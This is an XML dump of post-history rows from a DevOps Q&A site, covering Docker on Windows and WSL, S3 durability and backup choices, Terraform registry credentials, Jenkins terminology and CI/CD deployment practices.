  <row Id="20866" PostHistoryTypeId="2" PostId="6558" RevisionGUID="1648fb3d-6909-45e6-88a7-abff6cbe15b3" CreationDate="2019-03-09T00:38:06.153" UserId="8966" Text="What is the difference between *dockerd* and *com.docker.service* in Docker for Windows? Or rather I should ask: why do I need - if I need - *com.docker.service* running?&#xD;&#xA;&#xD;&#xA;**Intention:** I want to use Docker only with command line in Windows environment, control it with PS scripts etc. etc.  &#xD;&#xA;&#xD;&#xA;For me the role of *com.docker.service* is unclear.  &#xD;&#xA;&#xD;&#xA;I am able to run *dockerd* process and pull and run containers, when *com.docker.service* is stopped. When I start it - nothing happens (or maybe I don't notice the change)." ContentLicense="CC BY-SA 4.0" />
  <row Id="20867" PostHistoryTypeId="1" PostId="6558" RevisionGUID="1648fb3d-6909-45e6-88a7-abff6cbe15b3" CreationDate="2019-03-09T00:38:06.153" UserId="8966" Text="What is the difference between dockerd and com.docker.service in Docker for Windows?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20868" PostHistoryTypeId="3" PostId="6558" RevisionGUID="1648fb3d-6909-45e6-88a7-abff6cbe15b3" CreationDate="2019-03-09T00:38:06.153" UserId="8966" Text="&lt;docker&gt;&lt;containers&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20869" PostHistoryTypeId="50" PostId="6228" RevisionGUID="b2d0f633-b975-4c1c-a7c2-dcbdd6b660f3" CreationDate="2019-03-09T04:05:36.027" UserId="-1" />
  <row Id="20870" PostHistoryTypeId="2" PostId="6559" RevisionGUID="bcd20121-357f-49d9-a5cc-fb3c5760f71f" CreationDate="2019-03-09T04:44:47.837" UserId="6282" Text="So these days, DevOps has been reduced to the guy who uses Puppet, tick, he uses Jenkins, tick and so on.&#xD;&#xA;&#xD;&#xA;What effective questions can I ask to ensure the client and I would be on the same page as to what I would be doing as opposed to just looking for the guy who does Puppet/Jenkins and/or Kibana/Logstash, etcetera." ContentLicense="CC BY-SA 4.0" />
  <row Id="20871" PostHistoryTypeId="1" PostId="6559" RevisionGUID="bcd20121-357f-49d9-a5cc-fb3c5760f71f" CreationDate="2019-03-09T04:44:47.837" UserId="6282" Text="What are some effective questions to ask someone who is considering me as their DevOps person?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20872" PostHistoryTypeId="3" PostId="6559" RevisionGUID="bcd20121-357f-49d9-a5cc-fb3c5760f71f" CreationDate="2019-03-09T04:44:47.837" UserId="6282" Text="&lt;job-role&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20873" PostHistoryTypeId="5" PostId="6559" RevisionGUID="bb7ad9f5-627c-4f45-931e-309293583717" CreationDate="2019-03-09T04:53:58.070" UserId="6282" Comment="added more detail" Text="So these days, DevOps has been reduced to the guy who uses Puppet, tick, he uses Jenkins, tick and so on.&#xD;&#xA;&#xD;&#xA;What effective questions can I ask to ensure the client and I would be on the same page as to what I would be doing as opposed to just looking for the guy who does Puppet/Jenkins and/or Kibana/Logstash, etcetera.&#xD;&#xA;&#xD;&#xA;In other words, on paper they will not see &quot;DevOps&quot; anywhere. I do have some &quot;DevOps&quot; accomplishments on paper, the work that was done, but my title was still that of a Developer. To many of you, that makes perfect sense, but to the business world, its like if you don't have &quot;customer service&quot; as a past title, then you don't have &quot;customer service&quot; experience. Your resume wont appear on Indeed for the person looking for that.&#xD;&#xA;&#xD;&#xA;How do most of you navigate those waters in terms of a presentation? What do you say?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20874" PostHistoryTypeId="2" PostId="6560" RevisionGUID="66ec8305-fb34-440a-90b3-25be289c6db0" CreationDate="2019-03-09T07:35:35.267" UserId="4115" Text="From the [official instructions on building Docker images with Jenkins Pipeline](https://jenkins.io/doc/book/pipeline/docker/#building-containers):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; The `build()` method builds the `Dockerfile` in the current directory&#xD;&#xA;&gt; by default. This can be overridden by providing a directory path&#xD;&#xA;&gt; containing a `Dockerfile` as the second argument of the `build()`&#xD;&#xA;&gt; method, for example:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     node {&#xD;&#xA;&gt;         checkout scm&#xD;&#xA;&gt;         def testImage = docker.build(&quot;test-image&quot;, &quot;./dockerfiles/test&quot;) &#xD;&#xA;&gt;     &#xD;&#xA;&gt;         testImage.inside {&#xD;&#xA;&gt;             sh 'make test'&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;I'm not sure if you can create a Pipeline (i.e. Jenkinsfile) with this exact configuration through the Blue Ocean UI, but I would imagine you can.  However, I personally have found using Blue Ocean to create pipelines to be finicky at best, so I would recommend going over a Jenkinsfile created by Blue Ocean and making tweaks and adjustments by hand anyway.  This would give you the opportunity to adjust the Dockerfile location even if you aren't able to do it via Blue Ocean." ContentLicense="CC BY-SA 4.0" />
  <row Id="20875" PostHistoryTypeId="50" PostId="5880" RevisionGUID="253f497e-d562-42d6-9bac-25fe1accbaf7" CreationDate="2019-03-09T09:00:50.163" UserId="-1" />
  <row Id="20876" PostHistoryTypeId="50" PostId="6266" RevisionGUID="ebb8a774-2972-4969-9d90-54c1660a07be" CreationDate="2019-03-09T11:01:30.297" UserId="-1" />
  <row Id="20877" PostHistoryTypeId="2" PostId="6561" RevisionGUID="ba3e3715-1844-4d02-b74f-d2dcd82aef17" CreationDate="2019-03-09T13:36:06.793" UserId="12563" Text="AWS says that their systems are [designed for 99.999999999% durability](https://docs.aws.amazon.com/AmazonS3/latest/dev/DataDurability.html), but apparently there is no guarantees in their [SLA](https://aws.amazon.com/s3/sla/).&#xD;&#xA;&#xD;&#xA;Yes, this can (hypothetically) be improved by using cross-region replication, but this comes at the cost of paying twice for storage, and also for data transfer costs.&#xD;&#xA;&#xD;&#xA;How are your companies handling this? Do they go with pure trust in AWS, or do they spend (a lot) of money to (try to) improve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20878" PostHistoryTypeId="1" PostId="6561" RevisionGUID="ba3e3715-1844-4d02-b74f-d2dcd82aef17" CreationDate="2019-03-09T13:36:06.793" UserId="12563" Text="What are your companies policies for S3 data durability?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20879" PostHistoryTypeId="3" PostId="6561" RevisionGUID="ba3e3715-1844-4d02-b74f-d2dcd82aef17" CreationDate="2019-03-09T13:36:06.793" UserId="12563" Text="&lt;amazon-web-services&gt;&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20880" PostHistoryTypeId="2" PostId="6562" RevisionGUID="db7961fa-cefa-4b21-a406-1e617f855b82" CreationDate="2019-03-09T14:24:06.860" UserId="12103" Text="&#xA;Well in my opinion since the DevOps culture is drived  or you can say appeared cause of the Agile software development methods &#xA;&#xA; &#xA; &#xA; &#xA; - I would ask if the company is following any agile software methods or else you would be just the release guy &#xA; &#xA; &#xA; &#xA; - Also i would ask how I will be working as part of the dev team like i will be assigned to one project team or i will be working with all the teams &#xA; &#xA;&#xA;&#xA; &#xA; - also it would be great to know the current situation like they are currently facing urgent problem and need fix now , what's their current stack , and also ask about their current workflows in git and in developement and try to find a way to solve the issue to make everything go smoothly  &#xA; &#xA; - Also what really appears on paper is the workflows like git workflows how often you release cause automating parts like delivery......etc really means less time and better quality and that will appears on paper even for the business guys &#xA;&#xA;&#xA;&#xA;&#xA;But at the end if the day every company is different than any other and every situation is different than the other so it's all back to your judgement to be comfortable in your daily job  &#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20881" PostHistoryTypeId="50" PostId="6287" RevisionGUID="778f5512-652f-4fb2-ae9b-b66fb3ba3dd5" CreationDate="2019-03-09T16:00:55.447" UserId="-1" />
  <row Id="20882" PostHistoryTypeId="2" PostId="6563" RevisionGUID="2b079c4e-a270-4575-b295-30b38cfecacd" CreationDate="2019-03-09T16:29:02.183" UserId="405" Text="The durability design objective is not especially relevant above some number of 9's, because it is *simultaneously* both extremely unlikely *and* non-zero.&#xD;&#xA;&#xD;&#xA;The 99.999999999% durability is easily calculated by reading between the lines as the product of the failure probabilities of 6 copies each with an AFR between 1% and 2%.  Older versions of the documentation suggested 3 AZs × 2 devices per AZ was relevant to the durability calculation.  Assuming these &quot;devices&quot; were RAID arrays, these AFRs are well within reason.&#xD;&#xA;&#xD;&#xA;This is raw durability.  It does not take into account natural disasters or acts of war or terrorism or other sabotage (any of which would need to wipe out multiple availability zones within a region) or serious bugs in the S3 system code... all of which are also extremely unlikely but similarly difficult to quantify.  &#xD;&#xA;&#xD;&#xA;And we need to factor in bugs and human errors in *your* code and systems, compromise of your credentials, and malicious insiders in your organization.&#xD;&#xA;&#xD;&#xA;The bottom line is that the risk of loss is extremely low, difficult to quantify, but still non-zero.&#xD;&#xA;&#xD;&#xA;I have many millions of objects (dozens of terabytes) in S3 and have never lost one.  A majority of them have been stored with copies of both their md5 and sha256 checksums, they are all cataloged in an external database, and extensive audits have never revealed a corrupt or missing object.&#xD;&#xA;&#xD;&#xA;But if I lose one critical object in the future, all of that still becomes irrelevant.&#xD;&#xA;&#xD;&#xA;**Can you live with the loss of an object?  If so, no problem.  It's really unlikely that you will lose one.**&#xD;&#xA;&#xD;&#xA;But if the data is critical, there is a compelling argument that it should still be backed up, and not exist in only &quot;one place.&quot;  An object in an S3 bucket is *physically* in multiple places but *logically* that is still &quot;one place&quot; because whether the object exists without corruption ultimately resolves to a single true or false answer from your perspective.&#xD;&#xA;&#xD;&#xA;Just as using most classes of RAID arrays reduce the likelihood of data loss but do not remove the need for backup, I would argue that S3's durability -- as high as it is -- does not elminate the requirement that *critical* data be backed up elsewhere.&#xD;&#xA;&#xD;&#xA;Cross-region replication is one option, and apparently one important motivation for the introduction of the 1-Zone-Infrequent-Access storage class -- similarly durable except for the case where the availability zone is lost -- was as a very low cost *target* for cross-region replication.  It seems to meet that objective -- it's more vulnerable to the loss of a single AZ (and you don't get to pick which AZ) but that's only relevant when data loss has occurred in another bucket, in a totally different region.  A replicated bucket could also migrate its copies of objects to Glacier, further reducing long-term storage costs. (Note that very small objects may encounter storage cost *increases* since 1ZIA has a minimum billable object size of 128K, and Glacier bills for 40K of metadata storage in addition to the object size in bytes).&#xD;&#xA;&#xD;&#xA;Depending on the two regions involved, cross-region data transfer charges can be as low as $0.02/GB (or even $0.01/GB for the special case of us-east-1/us-east-2) which hardly seems burdensome if you need that additional level of assurance -- and note that since CRR also supports object versioning and can be configured not to replicate object deletion, it provides some protections against the risks that *you* pose to your own data -- risks that arguably exceed the systemic risks in S3 itself.&#xD;&#xA;&#xD;&#xA;Other options are cross-cloud-provider replication, copying objects to GCS, for example, which would be more expensive due to data transfer costs but then can also fit into your &quot;beyond worst case&quot; disaster recovery plan for when AWS (or your entire AWS account?) is completely inaccessible.  The cost of cross-cloud can be partially mediated by using aggressive compression where applicable, and services like Direct Connect, which reduces the cost of exporting data from AWS, particularly if the presence of the interconnection is justified by other purposes.&#xD;&#xA;&#xD;&#xA;Or, consider the extreme opposite: a managed local backup strategy that makes physical, tangible backups on DVD or Blu-Ray is still better than no backup at all.  I take a fair amount of grief for suggesting this &quot;low tech&quot; approach, but as long as the lifespan of the media is factored in and aggressive checksumming and integrity measures are in place, this is a viable protection against the extremely unlikely event where data is lost from S3.  The only problem with this solution is that it appears to cost less than it really does -- it can be somewhat labor-intensive, requiring frequent touching of disks even when everything else is automated -- and of course if you compare the costs of this &quot;simple&quot; solution to the relative set-and-forget of cross-region replication, CRR becomes a pretty obvious choice. " ContentLicense="CC BY-SA 4.0" />
  <row Id="20883" PostHistoryTypeId="5" PostId="6359" RevisionGUID="016e06cd-dba4-4774-b647-ac46d05eec94" CreationDate="2019-03-09T18:22:03.170" UserId="40" Comment="Integrate comments from OPer " Text="I have 2 images on my docker toolbox, for jenkins and for artifactory.&#xD;&#xA;I can use the command &quot;run&quot; for each to create a running container, jenkins on port 8080 and artifactory on oprt 8081, using the -p flag.&#xD;&#xA;When I use the command &quot;docker ps&quot; I can see both containers.&#xD;&#xA;&#xD;&#xA;My problem: I can only open one application at a time, for example:&#xD;&#xA;Open jenkins on URL 192.168.99.100:8080 (docker toolbox use this IP by default), then, open artifactory on URL 192.168.99.100:8081, the page &quot;jFrog Artifactory is getting ready to work...&quot; will be displayed and then the connection to the artifactory will be lost.&#xD;&#xA;But if I stop the jenkins container I could run the artifactory application properly.&#xD;&#xA;&#xD;&#xA;I read that docker compose can help to run multiple containers but I didn't understand if it can help my case too.&#xD;&#xA;&#xD;&#xA;Any help?&#xD;&#xA;&#xD;&#xA;Notes:&#xD;&#xA;&#xD;&#xA;- My &quot;docker ps&quot; output (plus another command for better display)&#xD;&#xA;- I found out about nginx that can be used as reverse proxy but I managed to set only the Jenkins to work, the artifactory does not work. Seems like I am not configuring the .conf file properly. Is it possible to run artifactory via nginx without configuring SSL? Most of the examples I found had SSL in the .conf file.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/iaJvy.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="20884" PostHistoryTypeId="2" PostId="6564" RevisionGUID="47b3f047-e173-4782-bd54-7a6d1e0fd777" CreationDate="2019-03-09T19:21:02.533" UserId="12811" Text="I have managed to install docker on windows and am able to run docker from my ubunto bash prompt of the WSL but when I try to pull or run a windows image from docker hub I get the following error:&#xD;&#xA;&#xD;&#xA;    root@DESKTOP-J9B5HJG:~# docker info  -f '{{.OSType}}/{{.Architecture}}'&#xD;&#xA;    linux/x86_64&#xD;&#xA;    root@DESKTOP-J9B5HJG:~# docker pull mcr.microsoft.com/windows:1809-amd64&#xD;&#xA;    Error response from daemon: manifest for mcr.microsoft.com/windows:1809-amd64 not found&#xD;&#xA;    root@DESKTOP-J9B5HJG:~#" ContentLicense="CC BY-SA 4.0" />
  <row Id="20885" PostHistoryTypeId="1" PostId="6564" RevisionGUID="47b3f047-e173-4782-bd54-7a6d1e0fd777" CreationDate="2019-03-09T19:21:02.533" UserId="12811" Text="How to run a windows container inside Windows Subsystem for Linux (WSL)" ContentLicense="CC BY-SA 4.0" />
  <row Id="20886" PostHistoryTypeId="3" PostId="6564" RevisionGUID="47b3f047-e173-4782-bd54-7a6d1e0fd777" CreationDate="2019-03-09T19:21:02.533" UserId="12811" Text="&lt;docker&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20890" PostHistoryTypeId="5" PostId="6558" RevisionGUID="9c2083c3-ea6e-40bc-bd85-1822d2ace49a" CreationDate="2019-03-10T02:15:53.633" UserId="8966" Comment="Added information about Windows container mode" Text="What is the difference between *dockerd* and *com.docker.service* in Docker for Windows? Or rather I should ask: why do I need (if I need) *com.docker.service* running?&#xD;&#xA;&#xD;&#xA;**Intention:** I want to use Docker only with command line in Windows environment in Windows container mode, control it with PS scripts etc. etc.  &#xD;&#xA;&#xD;&#xA;For me the role of *com.docker.service* is unclear.  &#xD;&#xA;&#xD;&#xA;I am able to run *dockerd* process and pull and run containers, when *com.docker.service* is stopped. When I start it - nothing happens (or maybe I don't notice the change)." ContentLicense="CC BY-SA 4.0" />
  <row Id="20891" PostHistoryTypeId="2" PostId="6566" RevisionGUID="467f274e-67f8-46fb-8a1d-675dcd66ce75" CreationDate="2019-03-10T02:56:30.457" UserId="10690" Text="dockerd is a persistent process that manages containers. Docker uses different binaries for the daemon and client. ( from Docker site ). Docker Daemon is a server which interacts with the operating system and performs all kind of services. The Docker Daemon listens for REST API request and performs the operation. Its process running on the background.&#xD;&#xA;&#xD;&#xA;Docker service is the utility we use when we run any docker commands e.g. docker run (docker container run), docker images, docker ps etc. It allows us to run these commands which a human can easily understand.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20892" PostHistoryTypeId="2" PostId="6567" RevisionGUID="9e92b13d-7eb3-480d-bd0d-c194507301f9" CreationDate="2019-03-10T06:58:36.530" UserId="12817" Text="Most probably the problem with artifactory container is not really related to the ports, check if the docker ps always shows the same container id, if not its probably dying and coming back up, when you start the containers, do you use anything in -v? Have you checked the docker logs of the artifactory container when jenkins is down? Do a docker logs xxxx using the ID of the artifactory container that dies to see what happened. " ContentLicense="CC BY-SA 4.0" />
  <row Id="20893" PostHistoryTypeId="2" PostId="6568" RevisionGUID="9a30c996-7b22-4eb0-830b-00b17e05cca9" CreationDate="2019-03-10T07:17:42.757" UserId="12818" Text="How would I provide docker hub credentials to a private image in the following example? &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;data &quot;docker_registry_image&quot; &quot;ubuntu&quot; {&#xD;&#xA;  name = &quot;ubuntu:latest&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;docker_image&quot; &quot;ubuntu&quot; {&#xD;&#xA;  name          = &quot;${data.docker_registry_image.ubuntu.name}&quot;&#xD;&#xA;  pull_triggers = [&quot;${data.docker_registry_image.ubuntu.sha256_digest}&quot;]&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="20894" PostHistoryTypeId="1" PostId="6568" RevisionGUID="9a30c996-7b22-4eb0-830b-00b17e05cca9" CreationDate="2019-03-10T07:17:42.757" UserId="12818" Text="Terraform: Provide credentials for docker hub registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="20895" PostHistoryTypeId="3" PostId="6568" RevisionGUID="9a30c996-7b22-4eb0-830b-00b17e05cca9" CreationDate="2019-03-10T07:17:42.757" UserId="12818" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20896" PostHistoryTypeId="50" PostId="6225" RevisionGUID="2cf62a4c-3284-425e-9134-a4042417709a" CreationDate="2019-03-10T11:03:00.603" UserId="-1" />
  <row Id="20897" PostHistoryTypeId="2" PostId="6569" RevisionGUID="9c18ceb9-c70f-4949-8b5d-8d4574d2cd52" CreationDate="2019-03-10T13:15:26.387" UserId="12821" Text="We have an internal CI/CD server running private GitLab. It has the source code of our NodeJS project. We would like to run CI/CD and have it deploys to our on-premises production server. (Let's assume we are using the `master` branch).&#xD;&#xA;&#xD;&#xA;Here are two most common methods I found on the internet:&#xD;&#xA;&#xD;&#xA; 1. Run `git pull` on the production server, run whatever build tasks needed (`npm install`, minify, etc...), and restart the service&#xD;&#xA; 2. Build the source codes on CI/CD server, rsync the built artifacts to production server and restart&#xD;&#xA;&#xD;&#xA;Surprisingly, most of the examples I found on the internet uses method 1. This method requires the production server to have public internet access which may not be possible for many cases.&#xD;&#xA;&#xD;&#xA;My question: is method 1 really the best way to deploy a NodeJS application to a production server? If yes, what is the reason?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20898" PostHistoryTypeId="1" PostId="6569" RevisionGUID="9c18ceb9-c70f-4949-8b5d-8d4574d2cd52" CreationDate="2019-03-10T13:15:26.387" UserId="12821" Text="How should CI/CD deploy to production environment - copy artifacts or git pull from the server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20899" PostHistoryTypeId="3" PostId="6569" RevisionGUID="9c18ceb9-c70f-4949-8b5d-8d4574d2cd52" CreationDate="2019-03-10T13:15:26.387" UserId="12821" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20900" PostHistoryTypeId="2" PostId="6570" RevisionGUID="8a4e2ceb-d461-4efc-9a0a-6ff653b38f88" CreationDate="2019-03-10T14:29:52.123" UserId="739" Text="There are lots of bad examples on the Internet.  Doing a `git pull` to distribute code is fabulous for development, but prone to all sorts of issues in practice.  It should not be used for production deploys without careful consideration of the negative consequences.&#xD;&#xA;&#xD;&#xA;* What happens when somebody checks out a different branch?  You'll be sad when you keep `git pull`ing and nothing new shows up.&#xD;&#xA;* How do you verify that the machine is running the expected release?  You can get this from `git`, but it is easier with most artifact systems.&#xD;&#xA;* How do you release to machines that are on an air-gapped network?  Simulating your `git` server on a private network will be a fun time for you.&#xD;&#xA;&#xD;&#xA;I'm not sure what format `npm` uses for artifacts, but it is also probably a good idea to back them up off of the CI/CD server and use a dedicated set of machines for serving up the artifacts.  If you spin up 100 machines at once would your CI/CD server handle it or fall over?  Isolating the artifact serving will avoid your CI/CD server being swamped and useless until the deploy is over." ContentLicense="CC BY-SA 4.0" />
  <row Id="20901" PostHistoryTypeId="5" PostId="6563" RevisionGUID="5bb6c538-9af1-4bb7-bc03-214c62b5b0f6" CreationDate="2019-03-10T15:27:17.037" UserId="405" Comment="clarify the 40k bytes" Text="The durability design objective is not especially relevant above some number of 9's, because it is *simultaneously* both extremely unlikely *and* non-zero.&#xD;&#xA;&#xD;&#xA;The 99.999999999% durability is easily calculated by reading between the lines as the product of the failure probabilities of 6 copies each with an AFR between 1% and 2%.  Older versions of the documentation suggested 3 AZs × 2 devices per AZ was relevant to the durability calculation.  Assuming these &quot;devices&quot; were RAID arrays, these AFRs are well within reason.&#xD;&#xA;&#xD;&#xA;This is raw durability.  It does not take into account natural disasters or acts of war or terrorism or other sabotage (any of which would need to wipe out multiple availability zones within a region) or serious bugs in the S3 system code... all of which are also extremely unlikely but similarly difficult to quantify.  &#xD;&#xA;&#xD;&#xA;And we need to factor in bugs and human errors in *your* code and systems, compromise of your credentials, and malicious insiders in your organization.&#xD;&#xA;&#xD;&#xA;The bottom line is that the risk of loss is extremely low, difficult to quantify, but still non-zero.&#xD;&#xA;&#xD;&#xA;I have many millions of objects (dozens of terabytes) in S3 and have never lost one.  A majority of them have been stored with copies of both their md5 and sha256 checksums, they are all cataloged in an external database, and extensive audits have never revealed a corrupt or missing object.&#xD;&#xA;&#xD;&#xA;But if I lose one critical object in the future, all of that still becomes irrelevant.&#xD;&#xA;&#xD;&#xA;**Can you live with the loss of an object?  If so, no problem.  It's really unlikely that you will lose one.**&#xD;&#xA;&#xD;&#xA;But if the data is critical, there is a compelling argument that it should still be backed up, and not exist in only &quot;one place.&quot;  An object in an S3 bucket is *physically* in multiple places but *logically* that is still &quot;one place&quot; because whether the object exists without corruption ultimately resolves to a single true or false answer from your perspective.&#xD;&#xA;&#xD;&#xA;Just as using most classes of RAID arrays reduce the likelihood of data loss but do not remove the need for backup, I would argue that S3's durability -- as high as it is -- does not elminate the requirement that *critical* data be backed up elsewhere.&#xD;&#xA;&#xD;&#xA;Cross-region replication is one option, and apparently one important motivation for the introduction of the 1-Zone-Infrequent-Access storage class -- similarly durable except for the case where the availability zone is lost -- was as a very low cost *target* for cross-region replication.  It seems to meet that objective -- it's more vulnerable to the loss of a single AZ (and you don't get to pick which AZ) but that's only relevant when data loss has occurred in another bucket, in a totally different region.  A replicated bucket could also migrate its copies of objects to Glacier, further reducing long-term storage costs. (Note that very small objects may encounter storage cost *increases* since 1ZIA has a minimum billable object size of 128K, and with the Glacier storage class, you will be paying for 40k&amp;sup1; of metadata storage in addition to the object size in bytes).&#xD;&#xA;&#xD;&#xA;Depending on the two regions involved, cross-region data transfer charges can be as low as $0.02/GB (or even $0.01/GB for the special case of us-east-1/us-east-2) which hardly seems burdensome if you need that additional level of assurance -- and note that since CRR also supports object versioning and can be configured not to replicate object deletion, it provides some protections against the risks that *you* pose to your own data -- risks that arguably exceed the systemic risks in S3 itself.&#xD;&#xA;&#xD;&#xA;Other options are cross-cloud-provider replication, copying objects to GCS, for example, which would be more expensive due to data transfer costs but then can also fit into your &quot;beyond worst case&quot; disaster recovery plan for when AWS (or your entire AWS account?) is completely inaccessible.  The cost of cross-cloud can be partially mediated by using aggressive compression where applicable, and services like Direct Connect, which reduces the cost of exporting data from AWS, particularly if the presence of the interconnection is justified by other purposes.&#xD;&#xA;&#xD;&#xA;Or, consider the extreme opposite: a managed local backup strategy that makes physical, tangible backups on DVD or Blu-Ray is still better than no backup at all.  I take a fair amount of grief for suggesting this &quot;low tech&quot; approach, but as long as the lifespan of the media is factored in and aggressive checksumming and integrity measures are in place, this is a viable protection against the extremely unlikely event where data is lost from S3.  The only problem with this solution is that it appears to cost less than it really does -- it can be somewhat labor-intensive, requiring frequent touching of disks even when everything else is automated -- and of course if you compare the costs of this &quot;simple&quot; solution to the relative set-and-forget of cross-region replication, CRR becomes a pretty obvious choice. &#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;&amp;sup1; *40k* is an oversimplification, based on two values,  [8k + 32k, mentioned in the Amazon S3 Developer Guide](https://docs.aws.amazon.com/AmazonS3/latest/dev/lifecycle-transition-general-considerations.html). *&quot;For each archived object, Glacier adds 32 KB of storage for index and related metadata&quot;* is straightforward enough, but the explanation of the remaining 8k is a bit less intuitive: *&quot;For each object archived to Glacier, Amazon S3 uses 8 KB of storage for the name of the object and other metadata. Amazon S3 stores this metadata so that you can get a real-time list of your archived objects by using the Amazon S3 API... You are charged standard Amazon S3 rates for this additional storage.&quot;*  When S3 migrates an object to the Glacier storage class, you are still able to access informarion about  the object in bucket listings and access all the object's metadata in real time, just as any other S3 object, even though the object payload itself is stored in Glacier and not accessible in real time. This metadata is stored at the S3 `STANDARD` storage class rate, rather than the Glacier rate.  It is unclear whether this is a fixed 8k, or actually a maximum, depending in part on the actual size of the object metadata, which includes but is not limited to the optional `x-amz-meta-*` user-defined metadata for each object.  As such, the importance of this 8k as a cost consideration is not entirely clear.  The 32k is noteworthy whenever it is significant in comparison to the total size of a small object." ContentLicense="CC BY-SA 4.0" />
  <row Id="20902" PostHistoryTypeId="2" PostId="6571" RevisionGUID="708589b8-eb9f-4234-9009-8583b66ce8bb" CreationDate="2019-03-10T15:45:58.847" UserId="12823" Text="We're using CircleCI with **Go** monorepo.&#xD;&#xA;&#xD;&#xA;Here’s how it’s done: &#xD;&#xA;&#xD;&#xA;1. Define a job for each service in circle config yaml. &#xD;&#xA;2. A git push triggers CircleCI job that finds which services are part of the change.&#xD;&#xA;3. For each service run a CircleCI job with:&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;build_parameters&quot;: {&#xD;&#xA;      &quot;CIRCLE_JOB&quot;: &quot;my-service&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;Also, published as an open source: https://github.com/Tufin/circleci-monorepo" ContentLicense="CC BY-SA 4.0" />
  <row Id="20903" PostHistoryTypeId="50" PostId="6306" RevisionGUID="5daedeab-74da-479a-bac0-12ce593a5153" CreationDate="2019-03-10T20:01:05.200" UserId="-1" />
  <row Id="20911" PostHistoryTypeId="2" PostId="6574" RevisionGUID="5943b236-e5d1-46c2-a659-78bc7a638687" CreationDate="2019-03-11T10:05:26.037" UserId="6806" Text="It is important to understand the terms **Job** and **Build** from the jenkins standpoint.&#xD;&#xA;&#xD;&#xA;In Jenkins, a user creates **job(s) which is typically a configuration for running autonomous tasks**. A job could be a task for building/packaging software, creating artifacts, deploying artifacts, creating help files, etc. This configuration may change from time to time.&#xD;&#xA;&#xD;&#xA;Every time you run a job, Jenkins builds the job configuration inside the project workspace to perform the defined steps. **Each run of this job is called as a build**. Since the environment around the job may change from build to build, any build may Fail(or become Unstable) during a run. Thus, the term - Build." ContentLicense="CC BY-SA 4.0" />
  <row Id="20912" PostHistoryTypeId="2" PostId="6575" RevisionGUID="ab5ab91a-2515-43e9-932c-162b7575fccc" CreationDate="2019-03-11T10:21:13.973" UserId="12833" Text="Docker registry credentials is seting up in [provider configuration][1].&#xD;&#xA;&#xD;&#xA;    provider &quot;docker&quot; {&#xD;&#xA;      registry_auth {&#xD;&#xA;        address = &quot;quay.io:8181&quot;&#xD;&#xA;        username = &quot;someuser&quot;&#xD;&#xA;        password = &quot;somepass&quot;&#xD;&#xA;      } &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Also possible to set env variables DOCKER_REGISTRY_USER and DOCKER_REGISTRY_PASS&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/docker/index.html#registry-credentials" ContentLicense="CC BY-SA 4.0" />
  <row Id="20913" PostHistoryTypeId="5" PostId="6564" RevisionGUID="0c87a300-71b5-4b4e-9b1e-e5e6a67f3a46" CreationDate="2019-03-11T10:30:12.040" UserId="1132" Comment="format, grammar, tagging" Text="I have managed to install docker on Windows, and I can run docker from my Ubuntu bash prompt of the WSL. But when I try to pull or run a Windows image from docker hub, I get the following error:&#xD;&#xA;&#xD;&#xA;    root@DESKTOP-J9B5HJG:~# docker info  -f '{{.OSType}}/{{.Architecture}}'&#xD;&#xA;    linux/x86_64&#xD;&#xA;    root@DESKTOP-J9B5HJG:~# docker pull mcr.microsoft.com/windows:1809-amd64&#xD;&#xA;    Error response from daemon: manifest for mcr.microsoft.com/windows:1809-amd64 not found&#xD;&#xA;    root@DESKTOP-J9B5HJG:~#" ContentLicense="CC BY-SA 4.0" />
  <row Id="20914" PostHistoryTypeId="4" PostId="6564" RevisionGUID="0c87a300-71b5-4b4e-9b1e-e5e6a67f3a46" CreationDate="2019-03-11T10:30:12.040" UserId="1132" Comment="format, grammar, tagging" Text="How to run a Windows container inside Windows Subsystem for Linux (WSL)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20915" PostHistoryTypeId="24" PostId="6564" RevisionGUID="0c87a300-71b5-4b4e-9b1e-e5e6a67f3a46" CreationDate="2019-03-11T10:30:12.040" Comment="Proposed by 1132 approved by 40, 12811 edit id of 954" ContentLicense="CC BY-SA 4.0" />
  <row Id="20916" PostHistoryTypeId="2" PostId="6576" RevisionGUID="0a5e81a5-9f23-4958-8020-f985b6a90032" CreationDate="2019-03-11T10:35:54.073" UserId="5251" Text="To run windows container you need a windows docker engine.&#xD;&#xA;&#xD;&#xA;Give a look to this answer: https://stackoverflow.com/questions/42158596/can-windows-containers-be-hosted-on-linux" ContentLicense="CC BY-SA 4.0" />
